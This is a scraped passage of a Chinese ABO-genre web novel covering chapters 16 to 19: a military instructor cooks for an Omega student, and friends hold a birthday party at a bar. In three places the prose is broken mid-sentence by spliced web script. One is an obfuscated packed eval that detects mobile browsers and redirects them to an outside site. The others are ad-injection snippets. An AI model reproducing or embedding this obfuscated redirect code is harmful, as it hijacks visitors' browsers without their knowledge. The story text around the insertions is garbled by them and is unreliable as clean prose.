秦砚见他坐下来,翻了翻里面的菜,又道:“放到明天说不定都不新鲜了。” 秦砚扫了他一眼,语气很明显的保持怀疑:“你会做饭?” “不会,我也没想浪费食物。”沈乐安坦然回答,随后腼腆地笑了笑,“不过我可以帮你洗菜。” 他说完,补充了一句:“宋姨说你厨艺很好,期待秦教官的发挥。” 沈乐安说完就径直抱着菜进了厨房。 秦砚:“……” 秦砚一时间无言以对,觉得额角隐隐作痛,显然明白了小姨的其他用途,她从上次起大约有就起了想要撮合的心思,这一次托他送东西过来,十有八九也是别有用心,但他并不清楚沈乐安是否明白其中的含义。 如果他没有猜错,上一次在餐厅里面见到的那个接他的“朋友”很有可能是沈乐安的恋爱对象,他年纪还小,应该不至于结婚,但无论如何,秦砚并不愿意自己莫名其妙变成插足别人感情的第三者。 下次见面,他还是直接婉拒小姨的好意,顺便提醒一句才行。 平心而论,秦砚最近被这些事情弄得有点烦,上一次的相亲对象是家里的旧识,吃过一次应付的饭之后,对方有想要再次相约的意图,秦砚婉拒了,但长辈间的亲近他又没有办法干涉,母亲与林家父母走得近,对此很满意,甚至想让他再去和林风凛约见。 秦砚不想为此浪费时间,也不想平白无故让人误解,他有点后悔,认为自己当初和林风凛吃饭的时候或许是表达的还不够直接,他目前并没有任何想要结婚的意图,也没有浪费时间在恋爱身上的想法。 秦砚走神不过片刻,猛然被一阵急促的器具乒铃乓啷的碰撞声拉回神。 他拧眉,一进厨房,便看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211808|139279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一地狼藉。 瓷砖上横七竖八地躺着方才被沈乐安带进来的食物,菜叶从袋口散出,还有几棵飞溅出了一定距离,蔫嗒嗒地疲软栽倒在地,水果也流落街头,还有小西红柿摔溅出来的红色汁水,看上去惨状可怖。 那颗还在翻滚的土豆被半跪在地上的人抓住,及时停在秦砚脚边。 秦砚垂眸。 罪魁祸首下意识仰起头,那张有点茫然的脸被完全纳入视野之中。 少年瓷白的面容没有分毫遮掩,卷翘的睫羽不安的轻颤数秒,漆黑的曈眸不见平日的平静,有点无名的心虚和躲藏,齿尖轻咬下唇,耳廓蔓延着一点尴尬局促而生的薄红。 秦砚几乎同时间转移了目光,但还是没有办法否认方才数秒内的无意冒犯。 俯视的视角最能纵观全局,也会天然的带有一种掌控感,又因为那宽松的衣领,哪怕不是刻意,凭借常年训练视力过人的Alpha也能轻而易举的捕捉到单薄衣衫之下,Omega白皙纤瘦的身躯与敏感隐私的后颈。 沈乐安把土豆捡起来,放到桌上,讷讷解释道:“东西有点多,没放稳,然后就掉了,我不是故意的。” 他没想到自己拿个东西进来都会出现这样的意外,沈乐安也有羞耻心,觉得这成事不足败事有余的行为有点丢人现眼。 秦砚没有说什么,只是道:“先把东西捡起来,坏的不用管,等会一起扫掉。” 他语气很是镇定,好像没有半点不好的情绪,沈乐安稍稍放下心,行动很积极的帮忙,那点羞愧心少了许多。 “秦教官,这个还能要吗?”沈乐安拿着破了个缺口的西红柿问他。 “嗯。” “这个呢?它好像还能用一半。” “随你。” “这么一大捧菜也丢了吗,会不会有点浪费?” “……不会。” 沈乐安一心虚尴尬就想要说话缓解,顺便观察对方的反应,秦砚还算耐心地敷衍,最后的清洁是秦砚做的,沈乐安被他请了出去,厨房内才恢复了寂静。 厨房内的食物被秦砚整整齐齐放好,他观察了一圈,看见还未拆封的刀具,就知道沈乐安完全没有进过这里做过饭。 厨艺是默认的Omega的必修课程,秦砚认识的Omega里面没有这样的两指不沾阳春水的Omega,但沈乐安明显在这个方面像个门外汉,连他都不如,秦砚因为常年跟着军队,总有需要碰到下厨的时候,还有不少野外的生存本事。 门外汉探头进来,迟疑了下,问:“需要我帮忙吗?” 他进来只会添麻烦,秦砚话到嘴边,没有说出事实,找了一个能够让Omega心安离开的理由,“不用,我做饭不喜欢有人呆在旁边。” 很少有Alpha会碰这些,说不定他觉得丢脸,沈乐安应了声好,体贴地离开。 秦砚站在厨房内,看到这些厨具,也觉得有点难以言喻。 他本来想直接拒绝沈乐安的请求,但没想到这人又弄出了这样的动静,非但没有半点心虚,反而以那样的目光看着他,好像他说出点什么他不愿意听到的话,就像是被人欺负了似的。 秦砚不知道自己受到了什么影响,但结果就是他答应了做这顿饭。 男人脸色平静,只是心情有点微妙。 他不认为自己被一个Omega牵着鼻子走是什么好兆头。 17. 第 17 章 宿舍里面的厨房面积不大,沈乐安不常进厨房,厨具是沈序买了寄过来给他的,样式十分的齐全。 厨房的墙壁上还挂了一件围裙,那大概是整个厨房里面唯一一样沈乐安购买的东西,这个是上一次他网上购物的时候偶然看见,觉得模特穿的好看,想着自己也许有机会穿上,然后即兴下单的。 事实证明,人总是容易冲动消费,至今为止,那个围裙还是没有拆封的状态,挂在墙壁上。 秦砚没有碰那件围裙,他在狭小的厨房内存在感很明显,也许是今天上门拜访家里人的缘故,他穿了一件黑白条纹的毛衣,下身是黑色的长裤,毛衣的质感模糊了他身上的半分锋利,背影依然高大挺括。 尤其是他端着饭菜出来时,沈乐安有点微妙的矛盾感,很难把他此刻的形象和训练场上冷静严肃的教官统一起来。 秦砚顺着那道没有遮掩的窥视,投来目光。 沈乐安只顿了一秒,就自然开口:“之前买了几套餐具,你喜欢哪个颜色?” 他把箱子里面的未拆封餐具取出来,摆在桌面,一个系列的餐具,差别不大,只有上面的图案和筷子的颜色不同,做工很精致,是高档的牌子。 秦砚不认为自己会在这里吃第二次饭,他没有细看,“有一次性餐具吗?” 沈乐安看了他一眼,“我这里没什么人过来,没有备那些。” 秦砚默了默,随意取了一套,拆封,又拿进去洗干净用热水消毒。 他们也只有两个人,所以秦砚只做了几道菜,只是上桌吃饭的时候,看到沈乐安夹筷的动作,想起来他似乎非常挑食,刚才没有询问他的喜好。 秦砚视线微定,瞥了眼他的动作。 沈乐安吃饭的时候动作很随性,但从小在家世背景不错的沈家长大,举止投足都不会让人挑出错来,低着眉眼咀嚼时都是抿着唇的,腮帮微鼓,看起来很安静文雅。 见他换了菜品夹了第二次时,秦砚开口道:“我不清楚你的忌口,所以做菜的时候没有关注这个。” 沈乐安愣了一下,张口便道:“我不挑食。” 秦砚也不反驳,只是意味深长地多看了他一眼,然后夹了一块青椒。 沈乐安瞥见他的动作,觉得他不说话却颇有此时无声胜有声的感觉,他强调道:“我只是有特别喜欢吃的,但是没有特别不喜欢的。” 秦砚嗯了一声,也不知道信没信。 沈乐安没想和人争辩这个,转而问道:“秦教官怎么厨艺这么好?” 秦砚言简意赅:“工作需要。” 沈乐安又问:“你平时经常给人做饭?” 秦砚:“不会。” 沈乐安不再问了,心情很好地吃了两口饭。 秦砚拧了下眉,却又觉得过多解释有点自作多情,看了眼眉间都沾了愉悦的Omega,淡声道:“这是基本的生活自理能力,你可以自主学习。” 他认识的Omega就没有不会做饭的,沈乐安明显是个例外。 沈乐安扬眉:“秦教官打算教我?” 秦砚拒绝的直接:“我很忙。” 真冷酷啊,倒是和沈乐安上次听到他拒绝那个和他吃饭的Omega一样,连口吻都如似模版一样相差无几。 沈乐安哦了一声,道:“我一般直接点外卖或者吃食堂,做饭麻烦还花时间,而且我还有秦教官这样会做饭的朋友,也许还有机会蹭蹭饭,用不着自己学习。” 秦砚:“……” 见他无言以对的表情,沈乐安忍不住笑了笑,好奇道:“秦教官很喜欢那种会做饭,会插花,身娇体软性格甜甜的Omega?” 他支着下巴,像是随口一问:“还是说像我那天在‘遇见’碰见的那个男生?稳重、知性、文雅、举止有度,还有书生气,如果是我,我也挺喜欢这种类型的。” 秦砚并不认为自己可以和他交流这样的问题,只是想到今天发生的事情,避免产生误解,还是淡声应道:“我希望我的另一半性格足够成熟。” 很自负的一个回答,沈乐安推测他的条件估计相对同龄人来说非常不错,一定是有不少人看上他愿意和他结婚,那样的相亲饭局一定不少,哪怕他目前似乎并没有意向参加这样的局。 沈乐安没想过结婚,所以秦砚对另一半的想法当然和他无关,只是他不是很确定自己有没有机会在秦砚有结婚想法前把他的美色勾搭到手。 啧,还挺有挑战性。 秦砚没有听见他的回复,却见他漫不经心地将米粒往嘴里塞,小巧的舌尖轻卷,把唇瓣沾上的汁水扫去,好像在走神,不知道在想些什么。 直到秦砚离开的时候,沈乐安才多说了几句话,还给他拿了一个礼袋,里面不知道放了什么,说是朋友带回来的礼物也给他送一份感谢他今天晚上做的饭。 秦砚走回自己的住处时才看了眼里面的东西。 一袋糖果和咖啡,外观很精致,上面是英文名,背后的产商也是国外的,秦砚之前在朋友那里收过这款咖啡,国内没有,应该是专门从国外回来的时候买的,看得出这个朋友的心意。 礼盒的外表像是送礼时对方精挑细选的,张扬又艳丽,是漂亮鲜艳的红色,让人不免联想到那天晚上看见的那辆红色跑车。 秦砚认为是沈乐安听出来了他的意思,委婉的表达是他误解了,这个朋友应该是沈乐安的男朋友,方才没有特意强调,大约是怕他尴尬,难怪他后边吃饭安静了许多,没有再多说话。 小姨对他们有过两次撮合,秦砚只是不希望产生任何误会,现如今能够双方澄清,也表达了自己的意思,后边再和小姨说明情况,就不至于让沈乐安多想,他对掺和别人的感情不感兴趣。 书房的桌上还有秦砚上次没有丢掉的糖果包装。 秦砚把垃圾处理掉,看了眼与简洁低调的桌面色彩完全不同的礼物,没有打算 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拆开,他平时很少吃糖,也不怎么喝速溶咖啡,但又不好转送他人,那份礼最后被他收进了柜子里。 沈乐安请了一天假,但连着假期,在家待了好几天。 但是陈悦当时说的两天内会出的结果迟迟没有给他发来,他没有问,但心知肚明大约是出了尿检结果,且发现问题了,所以校方正视此事,数据十有八九不能立刻外给。 沈乐安并没有急着处理这件事情,因为他自己身体也出现了一点意外状况。 原定的发情期并没有任何的症状发生,沈乐安准备的抑制剂并没有派上用处,他还以为之前有些隐隐身体不适是什么开始前的反应,结果搞了半天发现是轻微感冒。 沈乐安因为感冒在家待了几天,感冒后之后发情期没来,陈悦又给他放了几天假,让他好好休息,他还特地去了医院看了病开了药,医生的检查结果是没有什么大的问题,不过可能因为熬夜有点紊乱的现象,让他好好休息,少了一个月的发情期也不是什么大事。 沈乐安担心的不是这一个月的发情期症状,而是怕信息素又开始乱来,出现刚开始他分化时的情况,几近暴动的Omega信息素不光是Alpha受不了,Omega本身也会觉得非常难耐。 沈乐安看完病回来吃了药,没有什么症状的度过了这个月,在宿舍里刚开始还玩游戏,后边已经到看文献的发霉地步了,陈悦假期给的大方,沈乐安以前在沈氏的时候请了两天假都会被沈烨bb两句,这大概就是编制的好处,他请了将近两个周的假期竟然还不会被裁。 在家久不见人的沈乐安在收到余淮阳的信息时还有点恍然。 余淮阳给他发了酒吧的名字地址和开始的时间,和他确认方不方便,又提了到时候过去的人的名字,提前给个底。 沈乐安看了眼今天的日期,颇有点在家虚度光阴一时不知岁月几何的感触。 ‘肆意星球’这个酒吧他没有去过,却听过它的名字。 作为一个普通的炮灰,他仅存的对这个书的主角还是有点印象的,他穿进来后查过这个原书主角的信息,也知道主角一直在这个酒吧打工,原本他本该在十八岁成年的时候在分化时发生信息素暴动早早去世,但穿书进来后,他分化时间却发生了推迟,原先严重的信息素暴动也提前得到了抑制,没有对身体造成严重的伤害,最终活到了现在。 他没见过主角,也不知道主角长什么样。 沈乐安想着,随手给余淮阳回了消息:【可以,你到时候来接我一下,我懒得开车】 吃鱼不吐刺:【行啊,给小少爷当司机,小的的荣幸】 吃鱼不吐刺:【小少爷什么时候偷偷换的头像,这么有童心】 沈乐安瞥了眼自己的卡通头像图:【吃不到,我看看解馋】 吃鱼不吐刺:【到时候给你带盘小青菜,绝对现摘的新鲜菜色】 沈乐安笑了笑,没解释太多,回他:【准了。】 18. 第 18 章 军校内不能随意进来人,余淮阳是在门口等的沈乐安。 不似上一次的那般张扬,余淮阳开的虽然还是那辆红色的超跑,但衣服却不是那样夸张招眼的花衬衫,而是一件正儿八经的藏蓝深色卫衣,还搭了一条黑色运动裤,看起来像个青春活力的男大学生。 沈乐安见此,评价:“你是因为今天要老一岁,所以特地演反串?” 适应了沈乐安Omega的身份,余淮阳没了那份不自在,顺手从他口袋里顺了颗糖,剥开往嘴里放,动作轻佻但又很亲近。 “难怪你分化成Omega,肯定是因为你喜欢吃甜食。”他嚼了两下,振振有词道。 沈乐安白了他一眼,上了副驾驶。 余淮阳笑了两声,上车移了空调风口,“我刚从家里出来,我爸给我庆祝生日,我妈特地请了假没去公司,我为了家庭和谐,特地穿了一件她喜欢的款。” 沈乐安道:“挺好,年轻两岁。” 余淮阳身材不错,平时就喜欢穿些花里胡哨的,浪费身形,今天倒是有了两分正经的样子,他如果平时再多锻炼一下,肌肉线条应该很好看。 沈乐安倒是想起来那天抽血时看到的手臂肌理,指尖在控制车窗的位置轻轻点了两下。 余淮阳没有发现他片刻的走神,啧了一声,“我妈说我装嫩。” 沈乐安扬眉,看向他。 “上次我爸穿这件她态度就是天差地别,看到了没,”余淮阳抬了抬眼皮,“这就是女Alpha的丑恶嘴脸。” 沈乐安弯唇,笑了笑。 周六假期,又刚好晚间饭点,路上车多,余淮阳开了导航,眼睛盯着前面,“今天我姐和凌颂他妹妹也在。” 沈乐安嗯了一声,问道:“依白姐出差回来了?” 苏依白是余淮阳的亲姐姐,和余淮阳这个混子不同,早早就在公司工作,苏阿姨一直把她当公司继承人培养,余淮阳和亲姐关系不错,苏姨家里家庭氛围很好,没有什么豪门竞争。 苏依白前不久去了R国出差,沈乐安很久没有见过她了。 余淮阳:“是,她回来的第一次聚餐是我的生日聚餐,早知道她和凌颂他妹过来我就不应该带你过去。” 沈乐安扫了他一眼。 “你最近还是话题人物,”余淮阳哎了一声,“去了肯定抢我寿星的风头。” 沈乐安想起来自己刚分化的事情:“……滚吧你。” 肆意星球位置在热闹的商业街上,人流量很大,余淮阳找车位还找了一会儿,沈乐安等在外头,看了眼酒吧门口上方绚丽多彩的星球招牌,觉得这个酒吧的主人还有点审美品味。 里面的装修和肆意星球这个名字相映衬,宇宙为底的暗色调,长廊是星空点缀的暖黄,包厢的名字也是以各种星球名字命名,颇有一番意趣。 余淮阳没有带他去包厢,卡座的位置也很热闹,但他们这群人出来,很少在卡座位置上玩,毕竟包厢更为私密一些。 沈乐安:“这里这么热闹?你没提前订到包厢?” 里面有嘈杂的音乐,余淮阳只好靠近些放开声音解释:“我姐说今天有乐队唱歌,主唱是这里的一把手,她选了好位置大家可以一起观看。” 沈乐安:“……” 没想到苏依白竟然还追星?他总觉得有点酷姐印象破碎的感觉。 还没到乐队上台的节目,小舞台上是几个人在跳舞,穿着特色的兔子裙,台下还有卡座上的客人配合的起哄鼓掌。 沈乐安跟在余淮阳身后,观察了一下四周的情况,还想问问他订的卡座位置,却没想迎空洒下一片礼花的彩带,随着而来的是轰轰烈烈的欢迎声和口哨声,盖过了其他卡座的声音,明显引来的其他人的围观。 这就是不在包厢的坏处,沈乐安心想,这群人一向喜欢整些出风头的东西,尤其的招眼。 沈乐安扯了扯头上的毛线帽,往余淮阳身后挪了挪,权当自己不存在,免得丢人现眼。 余淮阳没想到自己还有被人这样热情招待的一天,笑意盈盈地招了招手。 苏依白拍下他的手,拧眉看了他一眼:“安安呢?” 余淮阳:“……走我后边了。” 凌圆圆探出脑袋,绕开他,热情地凑到沈乐安身边,抱住他的手臂,“乐安哥,你身体怎么样了?” 沈乐安:“没什么大事。” 苏依白拍了拍沈乐安的肩膀:“里面坐。” 卡座上的人纷纷让出位置,把中央的位置留了出来,眼神或多或少瞄了两眼沈乐安。 沈乐安摘了帽子,没有客气地占了c位。 凌颂扫了眼被晾在原地的寿星本人,嘲笑道:“圆圆说了给小少爷的欢迎仪式,就你这厚脸皮自作多情。” 余淮阳哼了一声,“本寿星看在你送了一辆跑车赔罪礼物的份上,不和你计较。” 凌颂切了一声。 他们弄得动静不小,不少人注意到了这个位置,才进来的时候就觉得那里的Alpha长得好看,有过几个大胆的Omega过去凑热闹的,不过来这里的大多还是Alpha,这会儿发现了卡座上多出来的人,酒吧内的气氛又热烈了起来。 余淮阳作为寿星,但今天被人当差役使唤,替沈乐安婉拒了来这送酒的好几个Alpha,不爽地找了服务员点了好一排这里最贵的酒摆在桌面,瓶口正对的刚才过来的那桌上的Alpha。 凌颂看了他一眼,“你来这卖酒呢?” 余淮阳无语道:“我都听了三个人借口来这送酒了,懒得重复,我们这桌不缺买酒钱。” 凌圆圆嘿嘿笑道:“这是醉翁之意不在酒,淮阳哥,你怎么这么笨。” 凌颂瞪了她一眼:“你个小屁孩别插话。” 凌圆圆呵呵两声,没有搭理他,拉着沈乐安玩牌。 沈乐安拦住她蠢蠢欲动的想要碰酒的手,找服务员拿了瓶雪碧,“你喝这个,未成年不要碰酒。” 凌圆圆瘪了瘪嘴,还是乖乖地哦了一声。 沈乐安也拿雪碧混了点酒,酒味苦,他喜欢甜一点的味道。 凌颂见状,道:“要不要让调酒师给你调甜一点的送过来?” 沈乐安道:“不用,我习惯这么喝。” 凌颂没再劝,坐在他对面,看了眼牌局,“加我一个,我也来。” 刚好这把结束,沈乐安给他发了牌,瞅见坐在凌颂旁边孤零零的张焕玉,顺口问道:“张焕玉,你今天就一个人来?” 沈乐安因为余淮阳的缘故,和这群人还算熟悉,张焕玉平时就是个爱玩的,每次见他身边必然不可少的就是不知道什么时候换的新对象,他很喜欢香香甜甜的小O。 张焕玉轻咳了两声,“阳哥生日,我肯定也不好带外人过来。” 凌颂神情专注地出牌,从刚刚到现在,也没调侃张焕玉的风流前O对象的历史,话题一直在最近和朋友游玩的经历和美食。 余淮阳正好在此时送了盘水果过来。 沈乐安扫了眼今天格外反常的Alpha们,一点没想遮掩,当着他们的面问他:“你和他们说什么了,都来我这角色扮演起来了?” 今天过来的那几个风流成形的家伙都没有带女伴,这几个人也没有口花花,在这歌舞喧哗的酒吧,搁着像是什么绝世好A,如果不是沈乐安知道他们之前的狗样子,还以为自己认错了人。 余淮阳一脸懵:“什么东西?” 凌圆圆噗嗤一声笑了出来。 沈乐安看向她,“圆圆你说。” 凌圆圆毫不留情的拆台:“他们觉得乐安哥分化成Omega了,怕你介意,反省自己之前对Omega的行为,生怕你觉得不自在,然后就搞了这些骚操作出来。” 沈乐安:“……” 他还以为自己分化 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 成Omega的事情会被这群天天不着正事的Alpha拿出来嘲笑调侃,倒没想自己看轻了他们,还算有两分义气,只是人有点呆,做出来的事情刻意又好笑。 沈乐安笑了一声,语气自然地调侃道:“我没想着给谁当爹,管不到那么宽。” 在场的Alpha:“……” 凌颂率先松了口气,他之前和余淮阳拿这事赌过,还担心沈乐安知道了会介意,现在来看,好像纯粹是他们想太多。 沈乐安看了眼身边的苏依白,“依白姐,不是说有乐队唱歌吗,什么时候开始?” 苏依白看了眼舞台,起身:“你等等,我去问问。” 沈乐安瞥了眼她的表情,猜到了几分,这次订的卡座估计也是因为怕他不自在,毕竟这里除了没分化的凌圆圆,其他都是Alpha。 沈乐安不介意,还主动调侃他们,倒是让这群Alpha放心了许多,话题也聊得开了。 张焕玉还主动道:“早知道是这样,封晋扬肯定也厚着脸皮过来了。” 凌圆圆好奇道:“晋扬哥得罪乐安哥了啊?” 张焕玉悄悄看了沈乐安一眼。 沈乐安没有遮掩,大方解释:“沈董之前急着让我相亲,约了他,我没去。” 凌圆圆瞪大眼睛。 张焕玉哈哈大笑:“他说他贼伤心,去的时候还特意做了新造型呢,没想到小少爷给他放了鸽子。” 凌圆圆想了想,“晋扬哥是个花心大萝卜,他配不上乐安哥。” 凌颂瞅了她一眼:“小孩子不要掺和大人讲话。” 凌圆圆偷偷给她哥翻了个白眼。 张焕玉更乐了,“你懂啥,圆圆说的对,封晋扬后悔死了,说要是知道有今天,肯定当个绝世好A,就朝着给小少爷当温馨好伴侣的路冲。” 余淮阳嘁了一声:“他想得美,我第一个给他堵路,让他撞南墙。” 凌圆圆举手示意,“我当第二堵墙。” 沈乐安笑了笑,没想到他们私底下聊得是这些。 苏依白回来的时候,舞台上跳舞的人已经下去了,主持人正在渲染气氛,还有工作人员正在帮忙搬运乐器上去。 沈乐安给她递了杯酒,“要开始了吗?” 苏依白接过,点头道:“这个节目就是。” 上去的几个人很年轻,沈乐安好奇道:“学生?” 苏依白点头:“主唱还是你学校的,是你学弟。” 沈乐安扬了扬眉,没想到还有这样的巧合,目光中多了两分打量。 c位的男生是乐队的主唱,长相很突出,身形纤瘦,怀里抱了吉他,坐在高脚凳上,话筒立在跟前,坐姿随性。 他扫了扫台下的观众,目光在看到卡座上的某一个人时,愣了一下。 少年被一众Alpha围坐在中间,身上是休闲的淡棕色卫衣,上面还有一个白色的小熊,怀里抱了一个软枕,体态懒散,他身旁的Alpha颜值出众,但没有压下他半点光芒,反而愈发显得他冷白的肤色扎眼又出色。 联邦大学内最有风头的人物里面,其中有一个就是他。 唐洛安在学校论坛里面见过沈乐安的照片,听说过他出色的事迹,也在社团的聚会里与他有过一点交集。 最近一个关于这一位已经毕业的师兄的传闻是他竟然分化成了Omega,这简直让人费解,大概所有人都觉得这一位常年位于年级第一、拿奖无数、科研有突破性创新、长相出众性格又好的人迟早会分化成优异的Alpha,但没想到他最后竟然是个Omega。 从来没有哪一个Omega出过这样的风头,压在其他Alpha的头上,他成了联大Omega心中公认的偶像。 唐洛安也把他当做自己的偶像。 他不清楚沈师兄还记不记得自己,他们其实加过微信,是他主动从社团群聊里面加的。 19. 第 19 章 玩游戏的时候很容易没有注意就喝太多,沈乐安酒里掺了雪碧,但到底还是酒精,后劲一上来,就有点让人觉得脑袋隐隐有晕眩的感知。 他放下牌,问凌颂要了瓶矿泉水。 凌颂开了,递给他,“是不是喝多了?” 沈乐安喝了两口,“还好,我去下洗手间。” 张焕玉看了他一眼:“小少爷需要你的骑士陪同一下吗?” 沈乐安啧了一声,“也不知道最后是到底谁陪谁。” 张焕玉喝的多,脸上红通通的一片,目光迷离,笑的有点傻气。 凌颂喝的不多:“我陪你过去?” 沈乐安摆手:“不用,我还能自理,没喝多少。” 见他目光还算清明,凌颂也没有勉强,给他指了指洗手间的方向,又道:“有什么事可以电话。” 沈乐安点头,把余淮阳拉过来暂时接过战局,这才离开。 洗手间有指示牌,这里空间很大,沈乐安饶了几圈才找到地方。 洗手间内有专门的空气净化器,Omega的洗手间相对来说要比Alpha的要好很多,里面没有太浓重的烟味,只有淡淡的薰衣草清香。 沈乐安问了问领口,拧眉,有点嫌弃,卡座外面没有包厢内的环境好,虽然有空气净化,但仍然能够感受到烟草的气息飘荡于空气之中,他不是很喜欢这个味道,有点臭。 公共洗手间里面的东西沈乐安不是很信任,也幸好今天临时带了一次性的洗手液包,他在洗手间呆了一会儿,又取了一点香水往脖颈和手臂上抹了抹,浓重的烟味似乎被压制而下,只有清香的淡香,沈乐安眉间舒展了许多。 他从里面出来,正要回去时,看到长廊上有人似乎在争执,其中有道声音颇为熟悉,便多注意了两眼。 光线忽明忽暗,但对方身上的衣着倒是能让人一眼辨认出来。 是刚刚在台上的主唱。 那个拦住他的人是两个身形粗壮的Alpha,言行有些过线,看上去像是熟人,主唱明显居于下风,胳膊拧不过大腿,酒吧内这样的事情多有,路过的Alpha习以为常,并没有把这种小情趣放在眼里,也不会随便多管闲事。 沈乐安也不是那种喜欢管闲事的人,但看在刚刚听苏依白提及主唱还是他师弟的份上,他还是联系了一下这里的服务员,叫人把那两个可能闹事的Alpha请了出去。 没想要邀功,也没想出风头,见小主唱安然无恙,沈乐安便打算离开。 唐洛安咬咬牙,喊住他:“沈师兄。” 沈乐安停下,见他走上前,问:“你认识我?” 唐洛安点头,解释道:“沈师兄毕业前进过游戏社团,我也在里面,游戏社之前组局吃过饭,您也去了,我和您在同一桌,不知道您还有没有印象。” 沈乐安确实去吃过这个聚餐,不过他对聚餐的人其实没有太多印象了,人太多,他不算什么爱社交的人,所以也只记住了社长的名字。 唐洛安有些拘谨道:“我叫唐洛安,之前和您加了微信。” 沈乐安眨了眨眼,听到名字有点意外,他没想到自己原来早就和书中的主角受有过一面之缘。 他感慨数秒,又回复正常:“你好。” 唐洛安:“我在这里找了兼职的工作,师兄过来玩可以报我的名字,老板会给折扣。” 他说完,又想起来沈乐安家里很富有,好像不差这些钱,局促地看了他一眼。 沈乐安笑了笑,“谢谢,我等会让我朋友报上你的名字,他们还得感谢我认识内部师弟,还能再剩下一顿饭钱。” 唐洛安弯了弯唇,又道:“社团内其他成员都很想念师兄,师兄下次回来可以联系我们,我们可以再聚一聚。” 沈乐安应了声好,目光落在他身上,没有细问刚刚的事情,只是提醒了一句:“你在这里工作的话,可以备点防身工具,这样会安全一点。” 唐洛安愣了一下,“知道了,刚才谢谢师兄。” 沈乐安没有多逗留,寒暄片刻便离开。 唐洛安看了眼他的背影,单手捂着嘴巴,方才压下去的激动又浮上嘴角,眼睛弯了弯,露出开心的笑来。 能和偶像说话,怎么可能那么平静又自如? 服务员把两个Alpha请出了门,确认他们没有再门口逗留惹事,这才回来报备。 主管把处理好的事情又转而和包厢内的人交代了一遍,这才恭敬离开。 一般这种小事当然没有那么高的效率和这么好的售后,沈乐安能够这么快的解决一方面是因为主管知道他们那桌人有来头不好轻易得罪办事很积极,另外一个方面还是因为自己的老板专门安排了这件事,主管便更加不敢轻慢了。 秦砚没有多问,他说了事情处理好,他便应了声,让他离开。 包厢内的隔音很好,阖上门,外边的喧嚣又归于寂静。 谢景开没听见声,见他回座,问道:“谁请得起秦上将降尊纡贵亲自安排办事啊?” 秦砚不欲多言,只道:“一个朋友。” 谢景开嗅到了八卦的味道,意味深长的笑了笑,“咦,不会是上厕所认识的铁树开花的新朋友吧?还是说是哪个阿姨安排的相亲对象?姓林的那个?” 秦砚淡声道:“你天天不务正业就学了这些?” “谢景开,你别找打。”方桓瑜倒了杯酒,“老徐说秦砚最近火气正旺着呢。” 谢景开顺走他的酒,洋洋自得道:“他这是心虚的表现,你等着吧,过不久他说不定就陷入爱河了,看他到时候还笑我和姜醒黏糊。” 秦砚抬手,阻止了方桓瑜给他倒酒,“我等会开车,不喝酒。” 方桓瑜:“给你找代驾?” 秦砚:“军校内不能随便进外人,太麻烦。” 谢景开给他丢了瓶饮料,道:“我真想不明白为什么身体不好需要休息他们还安排你要去那里当教官。” 秦砚接过,放在一旁,“这样不会耽误训练,而且基础训练强度也不算大。” 谢景开无言以对。 方桓瑜笑了笑:“你这个懒鬼肯定不懂。” 谢景开嘁了一声,“他一个病人,这算是过度锻炼。” 方桓瑜看了眼安静的秦砚,问道:“秦家最近和林家走的很近,阿姨好像对林风凛很满意,你这是要成了?” 谢景开闻言,也好奇看向他。 秦砚拧眉,“你听谁说的?” 方桓瑜道:“封述安他弟弟上次和朋友去逛街,差点迎面碰上秦阿姨和林阿姨,她俩逛街,身边还陪着一个林风凛,所以才以为你们两家定了。” 秦砚:“……” 谢景开瞥见他沉沉的脸色,道:“你们家和林家本来关系不错,也是最近因为你和林风凛相亲的事情,不然也不会有人多想。” 方桓瑜岔开话题,问道:“你家怎么忽然催你催的那么急?” 提起这个,秦砚面色不愉,“我目前没有结婚的打算,但是因为前不久的事情,老徐告诉他们建议我找个Omega伴侣有利于病情,所以他们急的让我解决这个事情。” 秦砚从军队暂时退下来的事情大家都知道,也清楚是因为他出任务的时候出现了信息素紊乱的原因,但不知道他发生过信息素暴动,但目前来看,便知道情况有点严重了。 只是这个缓解方法听起来有点儿戏。 至少秦砚看起来像是徐应尧在耍他。 谢景开笑出声,“这就是打光棍的下场,肯定是老徐觉得你压抑太久了,需要发泄发泄。” 方桓瑜轻咳两声,示意他别太过分,忍着促狭道:“刚好在军队你见不到Omega,现在休养还有机会谈个恋爱。” 秦砚抿了两口水,声音如似清水一般寡淡,“没有合适的。” 他身边较近的恋爱例子是谢景开,谢景开的恋爱对象是娱乐圈里的人,时间行程非常忙碌,谢景开为配合对方的时间,牺牲了自己的一些事情,在这段关系里面也投入了大量的情绪,做事一定也不理智。 秦砚并不理解这样的相处模式,但也不会因为朋友就过多的干涉别人的感情,鉴于有这样的先例,他在选择可能的未来伴侣时,优先的第一个便是对方的性格足够稳重,不需要他过多的花费时间和精力,最好和他父母一样,彼此有自己的空间,做到相敬如宾即可。 谢景开觉得他这人找伴侣的标准很奇葩,嫌弃道:“你这是找合租对象还是找对象?” 方桓瑜觉得这小子嘴巴真毒辣,瞅了瞅他。 秦砚瞥了他一眼。 谢景开道:“你合租对象找到了记得带来我们瞧瞧,我给你送两张姜醒三周年演唱会的票,你可以和你合租对象去看,培养感情。” 秦砚给了他一拳。 谢景开捂着胸口,面色扭曲。 方桓瑜没忍住,哈哈笑出声。 包厢门被人敲了两声,而后主管开了门,手上还举着一大块蛋糕,“楼下有客人生日,定了好七层的大蛋糕,说给全场送,您几位要不要尝尝?” 谢景开问道:“谁啊,这么豪气。” 主管举着进来,放在桌面,“谢少爷可能有过照面,姓余的那位小少爷,他们今天没有定包厢,在一楼卡座。” 蛋糕上还有个被拆了半截的数字六,谢景开瞅了眼,“余淮阳生日?” 主管点头,看了眼秦砚,又补充了一句,“沈小少爷也在那个卡座,他们挺多人的。” 